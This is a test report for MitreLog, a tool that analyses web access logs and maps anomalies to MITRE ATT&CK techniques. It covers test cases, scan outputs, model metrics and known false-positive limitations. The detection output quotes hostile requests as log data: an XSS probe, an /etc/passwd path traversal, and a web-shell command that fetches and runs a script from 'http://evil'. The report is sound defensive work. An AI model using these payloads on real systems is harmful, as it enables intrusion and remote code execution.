

System Validation & Performance Test Report

Project: MitreLog: Access Log Analysis & MITRE ATT&CK Mapping Tool

Environment: Windows 10/11 (64-bit), PowerShell, Python 3.13

Tool Version Tested: v1.0.0 (Commit Hash: 9583da9)

Test Date: 15/07/2026

1. Test Case

Test	Command	Expected	Actual Result	Status
T1: Mixed Threats	python src/tool.py --log tests/anomaly_test.txt	Detect mixed attack vectors (Brute-Force, XSS, Path Traversal, Command Injection) and map to MITRE.	Caught Brute-Force, XSS, and LFI accurately. Flagged Command Injection but failed to map it to a specific MITRE category (Unclassified).	Pass (with Mapping Bug)
T2: Brute-Force	python src/tool.py --log tests/anomaly_test2.txt	Detects repeated POST or GET requests	Successfully detected 5 localized authentication requests and mapped to T1110	Pass
T3: Path Traversal	python src/tool.py --log tests/anomaly_test3.txt	Detects directory traversal payloads that use obfuscation techniques to bypass URL path restrictions	Successfully detected anomaly request and mapped to T1083	Pass
T4: E-Commerce log	python src/tool.py --log tests/safe_test.txt	0 anomalies flagged	Flagged 3 false positives due to high URL-encoded character density	Fail
T5: Long Safe Access Log	python src/tool.py --log tests/safe_test2.txt	0 anomalies flagged on 91,714 benign requests	Evaluated 91,714 lines. Flagged 2 false positives	Pass (Acceptable 0.00002% FPR)
T6: Long Mix Log	python src/tool.py --log tests/access_log.txt	Process 4M+ lines without memory overflow; track anomaly request efficiently.	Evaluated 4,477,843 lines successfully. Flagged 6,773 anomalies (0.15% rate), and mapped with MITRE	Pass

2. Command Execution & Output Captures

Command execution in terminal

```
PS C:\Users\lenovo\Anda\MUIC\Cyber_sec\Open-source-Security-Tool> python src/tool.py --log tests/safe_test.txt
[*] Loading trained model from C:\Users\lenovo\Anda\MUIC\Cyber_sec\Open-source-Security-Tool\src\model.pkl...
[*] Processing log file: tests/safe_test.txt...

=====
[*] SCAN COMPLETE: 3 threats found.
[*] Report saved to: reports\MitreLog_report_20260715_213256.txt
=====

PS C:\Users\lenovo\Anda\MUIC\Cyber_sec\Open-source-Security-Tool> python src/tool.py --log tests/safe_test2.txt
[*] Loading trained model from C:\Users\lenovo\Anda\MUIC\Cyber_sec\Open-source-Security-Tool\src\model.pkl...
[*] Processing log file: tests/safe_test2.txt...

=====
[*] SCAN COMPLETE: 2 threats found.
[*] Report saved to: reports\MitreLog_report_20260715_213320.txt
=====

PS C:\Users\lenovo\Anda\MUIC\Cyber_sec\Open-source-Security-Tool> python src/tool.py --log tests/anomaly_test2.txt
[*] Loading trained model from C:\Users\lenovo\Anda\MUIC\Cyber_sec\Open-source-Security-Tool\src\model.pkl...
[*] Processing log file: tests/anomaly_test2.txt...

=====
[*] SCAN COMPLETE: 1 threats found.
[*] Report saved to: reports\MitreLog_report_20260715_213425.txt
=====

PS C:\Users\lenovo\Anda\MUIC\Cyber_sec\Open-source-Security-Tool> python src/tool.py --log tests/anomaly_test3.txt
[*] Loading trained model from C:\Users\lenovo\Anda\MUIC\Cyber_sec\Open-source-Security-Tool\src\model.pkl...
[*] Processing log file: tests/anomaly_test3.txt...

=====
[*] SCAN COMPLETE: 1 threats found.
[*] Report saved to: reports\MitreLog_report_20260715_214248.txt
=====
```

Test 1:

```
=====
MITRELOG: THREAT DETECTION ENGINE REPORT
=====
Target Resource File      : anomaly_test.txt
Scan Timestamp           : 2026-07-15 21:32:04
Total Log Metrics        : 200 transactions evaluated
Threat Signatures        : 4 anomalies flagged
=====

[!] MALICIOUS ANOMALY DETECTED [Line 94 (Behavioral Aggregation)]
  Context/Payload      : POST authentication activity from 222.108.76.91 (GET=0, POST=5)
  Full Log Line       : [State Alert] Host 222.108.76.91 performed 5 authentication requests in 60 seconds.
  Attack Profiling    : Credential Brute-Force Attempt
  MITRE ATT&CK       : T1110 - Brute Force
  Assigned Severity: HIGH
  Intel Scope        : 5 POST authentication requests detected (0 GET requests also observed). Repeated credential submission indicates a brute-force attack.
=====
[!] MALICIOUS ANOMALY DETECTED [Line 86]
  Context/Payload      : /search?q=x3CscriptX3Ealert(1)X3C/scriptX3E
  Full Log Line       : 185.243.218.11 - - [15/Jul/2026:09:10:01 +0000] "GET /search?q=x3CscriptX3Ealert(1)X3C/scriptX3E HTTP/1.1" 200 1234 "-" "curl/8.0"
  Attack Profiling    : Cross-Site Scripting (XSS)
  MITRE ATT&CK       : T1059.007 - Command and Scripting Interpreter: JavaScript
  Assigned Severity: MEDIUM
  Intel Scope        : Injection of client-side script payloads designed to execute arbitrary code within a victim's browser session.
=====
[!] MALICIOUS ANOMALY DETECTED [Line 88]
  Context/Payload      : /download?file=../../../../etc/passwd
  Full Log Line       : 193.37.252.88 - - [15/Jul/2026:09:10:03 +0000] "GET /download?file=../../../../etc/passwd HTTP/1.1" 403 210 "-" "curl/8.0"
  Attack Profiling    : Path Traversal / LFI
  MITRE ATT&CK       : T1083 - File and Directory Discovery
  Assigned Severity: HIGH
  Intel Scope        : Unauthorized file-system path navigation parameters used to map local application folders or access system files.
=====
[!] MALICIOUS ANOMALY DETECTED [Line 89]
  Context/Payload      : /wp-admin/user/myluph.php?cmd=cd%20/tmp;wget%20http://evil/s.sh|bash
  Full Log Line       : 191.101.235.200 - - [15/Jul/2026:09:10:04 +0000] "GET /wp-admin/user/myluph.php?cmd=cd%20/tmp;wget%20http://evil/s.sh|bash HTTP/1.1" 404 180 "-" "curl/8.0"
  Attack Profiling    : Unclassified Metric/Behavioral Anomaly
  MITRE ATT&CK       : N/A (Manual Review Required) - Potential False Positive or Unmapped Vector
  Assigned Severity: LOW/MEDIUM
  Intel Scope        : The Random Forest model flagged this payload due to high metric deviancy (atypical length or entropy score), but no explicit malicious threat signatures were matched. Manual verification is recommended to determine if this is a benign edge case.
=====
```

Test 2:

```
=====
MITRELOG: THREAT DETECTION ENGINE REPORT
=====
Target Resource File      : anomaly_test2.txt
Scan Timestamp           : 2026-07-15 21:34:25
Total Log Metrics        : 32 transactions evaluated
Threat Signatures        : 1 anomalies flagged
=====

[!] MALICIOUS ANOMALY DETECTED [Line 11 (Behavioral Aggregation)]
  Context/Payload      : POST authentication activity from 222.108.76.91 (GET=1, POST=4)
  Full Log Line       : [State Alert] Host 222.108.76.91 performed 5 authentication requests in 60 seconds.
  Attack Profiling    : Credential Brute-force Attempt
  MITRE ATT&CK       : T1110 - Brute Force
  Assigned Severity: HIGH
  Intel Scope        : 4 POST authentication requests detected (1 GET requests also observed). Repeated credential submission indicates a brute-force attack.
=====
[ SECURITY ANALYSIS REPORT END ]
=====
```

Test 3:

```
=====
MITRELOG: THREAT DETECTION ENGINE REPORT
=====
Target Resource File   : anomaly_test3.txt
Scan Timestamp        : 2026-07-15 21:42:48
Total Log Metrics      : 41 transactions evaluated
Threat Signatures      : 1 anomalies flagged
=====

[1] MALICIOUS ANOMALY DETECTED [Line 15]
  ↳ Context/Payload      : /index.php/2-uncategorised/../../../../../../../../etc/passwd-testsayfasi
  ↳ Full Log Line       : "192.168.4.25 - - [22/Dec/2016:16:19:38 +0300] "GET /index.php/2-uncategorised/../../../../../../../../etc/passwd-testsayfasi
HTTP/1.1" 400 485 "http://192.168.4.161/DVWA" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21""
  ↳ Attack Profiling    : Path Traversal / LFI
  ↳ MITRE ATT&CK        : T1083 - File and Directory Discovery
  ↳ Assigned Severity: HIGH
  ↳ Intel Scope         : Unauthorized file-system path navigation parameters used to map local application folders or access system files.
=====

[ SECURITY ANALYSIS REPORT END ]
=====
```

Test 4:

```
=====
MITRELOG: THREAT DETECTION ENGINE REPORT
=====
Target Resource File   : safe_test.txt
Scan Timestamp        : 2026-07-15 21:32:56
Total Log Metrics      : 194 transactions evaluated
Threat Signatures      : 3 anomalies flagged
=====

[1] MALICIOUS ANOMALY DETECTED [Line 93]
  ↳ Context/Payload      : /filter/p65k2Cv1k7CD9x86KD9x82D08xB1D9x87x20D8xA7D0Bx8C.%2C6315k7CD08AAAD08AEKD08AAx20%20Flat%20%29?o=6315
  ↳ Full Log Line       : "54.36.148.87 - - [22/Jan/2019:03:56:34 +0300] "GET /filter/p65k2Cv1k7CD9x86KD9x82D08xB1D9x87x20D8xA7D0Bx8C.%2C6315k7CD08AAAD08AEKD08AAx20%20%
20Flat%20%29?o=6315 HTTP/1.1" 302 0 "-" "Mozilla/5.0 (compatible; AhrefsBot/6.1; +http://ahrefs.com/robot/)" "-"
  ↳ Attack Profiling    : Unclassified Metric/Behavioral Anomaly
  ↳ MITRE ATT&CK        : N/A (Manual Review Required) - Potential False Positive or Unmapped Vector
  ↳ Assigned Severity: LOW/MEDIUM
  ↳ Intel Scope         : The Random Forest model flagged this payload due to high metric deviancy (atypical length or entropy score), but no explicit malicious threat
signatures were matched. Manual verification is recommended to determine if this is a benign edge case.
=====
[1] MALICIOUS ANOMALY DETECTED [Line 147]
  ↳ Context/Payload      : /m/product/31479/61477/XDAXAFXD9x88ND8xB4XD8x8C-XD9x85XD9x88ND8xA8D8XA7D0Bx8CND9x84-XD9x87XD9x88ND8xA7D9x85XD8x8D6x8C-XD9x85XD8x8AFXD9x84-Honor-5x-
Dual-16GB-328KiW-L21X29
  ↳ Full Log Line       : "66.249.66.194 - - [22/Jan/2019:03:56:47 +0300] "GET /m/product/31479/61477/XDAXAFXD9x88ND8xB4XD8x8C-XD9x85XD9x88ND8xA8D8XA7D0Bx8CND9x84-XD9x87XD9x88ND8x
D8XA7D0Bx88ND8x8C-XD9x85XD8x8AFXD9x84-Honor-5x-Dual-16GB-328KiW-L21X29 HTTP/1.1" 200 21141 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MPB29P) AppleWebKit/537.36
 (KHTML, like Gecko) Chrome/41.0.2222.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" "-"
  ↳ Attack Profiling    : Unclassified Metric/Behavioral Anomaly
  ↳ MITRE ATT&CK        : N/A (Manual Review Required) - Potential False Positive or Unmapped Vector
  ↳ Assigned Severity: LOW/MEDIUM
  ↳ Intel Scope         : The Random Forest model flagged this payload due to high metric deviancy (atypical length or entropy score), but no explicit malicious threat
signatures were matched. Manual verification is recommended to determine if this is a benign edge case.
=====
[1] MALICIOUS ANOMALY DETECTED [Line 171]
  ↳ Context/Payload      : /product/26694/61119/XD8x8AFD9x88ND8xA8GD8xB1D8x8AEXD9x87-XDAXA9XD9x88D9x87D8xB83XD8x8AAD8xA7XD9x86-XD9x81XD9x88D8x8ACD8x8C-XD9x85XD8x8AFXD9x84-
NEVADA-1.7-X282016X29
  ↳ Full Log Line       : "66.249.66.194 - - [22/Jan/2019:03:56:51 +0300] "GET /product/26694/61119/XD8x8AFD9x88ND8xA8GD8xB1D8x8AEXD9x87-XDAXA9XD9x88D9x87D8xB83XD8x8AAD8xA7XD9x86-XD9x81XD9x88D8x8ACD8x8C-XD9x85XD8x8AFXD9x84-
NEVADA-1.7-X282016X29
  ↳ Attack Profiling    : Unclassified Metric/Behavioral Anomaly
  ↳ MITRE ATT&CK        : N/A (Manual Review Required) - Potential False Positive or Unmapped Vector
  ↳ Assigned Severity: LOW/MEDIUM
  ↳ Intel Scope         : The Random Forest model flagged this payload due to high metric deviancy (atypical length or entropy score), but no explicit malicious threat
signatures were matched. Manual verification is recommended to determine if this is a benign edge case.
=====
```

Test 5:

```
=====
MITRELOG: THREAT DETECTION ENGINE REPORT
=====
Target Resource File   : safe_test2.txt
Scan Timestamp        : 2026-07-15 21:33:20
Total Log Metrics      : 91714 transactions evaluated
Threat Signatures      : 2 anomalies flagged
=====

[1] MALICIOUS ANOMALY DETECTED [Line 41822]
  ↳ Context/Payload      : /htbin/wais.pl?discovereyX27s+launch
  ↳ Full Log Line       : "134.193.52.82 - - [01/Jul/1995:16:49:48 -0400] "GET /htbin/wais.pl?discovereyX27s+launch HTTP/1.0" 200 331
  ↳ Attack Profiling    : Unclassified Metric/Behavioral Anomaly
  ↳ MITRE ATT&CK        : N/A (Manual Review Required) - Potential False Positive or Unmapped Vector
  ↳ Assigned Severity: LOW/MEDIUM
  ↳ Intel Scope         : The Random Forest model flagged this payload due to high metric deviancy (atypical length or entropy score), but no explicit malicious threat signatures
were matched. Manual verification is recommended to determine if this is a benign edge case.
=====
[1] MALICIOUS ANOMALY DETECTED [Line 41872]
  ↳ Context/Payload      : /htbin/wais.pl?discovereyX27s+pitthers
  ↳ Full Log Line       : "134.193.52.82 - - [01/Jul/1995:16:50:34 -0400] "GET /htbin/wais.pl?discovereyX27s+pitthers HTTP/1.0" 200 332
  ↳ Attack Profiling    : Unclassified Metric/Behavioral Anomaly
  ↳ MITRE ATT&CK        : N/A (Manual Review Required) - Potential False Positive or Unmapped Vector
  ↳ Assigned Severity: LOW/MEDIUM
  ↳ Intel Scope         : The Random Forest model flagged this payload due to high metric deviancy (atypical length or entropy score), but no explicit malicious threat signatures
were matched. Manual verification is recommended to determine if this is a benign edge case.
=====

[ SECURITY ANALYSIS REPORT END ]
=====
```

Test 6:

```
=====
MITRELOG: THREAT DETECTION ENGINE REPORT
=====
Target Resource File   : access_log.txt
Scan Timestamp        : 2026-07-15 22:12:11
Total Log Metrics      : 4477843 transactions evaluated
Threat Signatures      : 6773 anomalies flagged
=====

[1] MALICIOUS ANOMALY DETECTED [Line 411 (Behavioral Aggregation)]
  ↳ Context/Payload      : GET authentication activity from 10.216.113.172 (GET=5, POST=0)
  ↳ Full Log Line       : [State Alert] Host 10.216.113.172 performed 5 authentication requests in 60 seconds.
  ↳ Attack Profiling    : Authentication Endpoint Enumeration
  ↳ MITRE ATT&CK        : T1110 - Brute Force
  ↳ Assigned Severity: MEDIUM
  ↳ Intel Scope         : 5 GET requests to authentication endpoints without credential submission. This may indicate reconnaissance or preparation for brute-force activity.
=====
[1] MALICIOUS ANOMALY DETECTED [Line 792 (Behavioral Aggregation)]
  ↳ Context/Payload      : GET authentication activity from 10.153.239.5 (GET=5, POST=0)
  ↳ Full Log Line       : [State Alert] Host 10.153.239.5 performed 5 authentication requests in 60 seconds.
  ↳ Attack Profiling    : Authentication Endpoint Enumeration
  ↳ MITRE ATT&CK        : T1110 - Brute Force
  ↳ Assigned Severity: MEDIUM
  ↳ Intel Scope         : 5 GET requests to authentication endpoints without credential submission. This may indicate reconnaissance or preparation for brute-force activity.
=====
```

3. Model Validation Metrics

```
===== MODEL PERFORMANCE METRICS =====
Accuracy: 97.93%

Classification Report:
      precision    recall  f1-score   support

   Safe (0)      0.99      0.98      0.99     258926
  Malicious (1)    0.67      0.83      0.74      9613

   accuracy      0.98      0.98      0.98     268539
  macro avg      0.83      0.91      0.87     268539
 weighted avg      0.98      0.98      0.98     268539

Confusion Matrix:
[[254974   3952]
 [  1612   8001]]
=====
```

4. Bug & Limitation

False Positives on High-Entropy Strings & MITRE Mapping Misses:

MitreLog may produce false positives when analysing requests containing high-entropy strings, high mix special characters, or unusual URL structures, as these mathematically mimic the patterns of malicious payloads. Conversely, the tool may produce false negatives for zero-day attacks, previously unseen attack techniques, or malicious payloads with low-entropy characteristics because the machine learning model is trained on a limited and non-exhaustive dataset. In addition, the current MITRE ATT&CK mapping relies on heuristic-based pattern matching and does not cover every attack variation. As a result, some successfully detected threats may be classified as "Unclassified Metric/Behavioral Anomaly", while others may be mapped to a more general or less specific MITRE ATT&CK technique than the actual attack.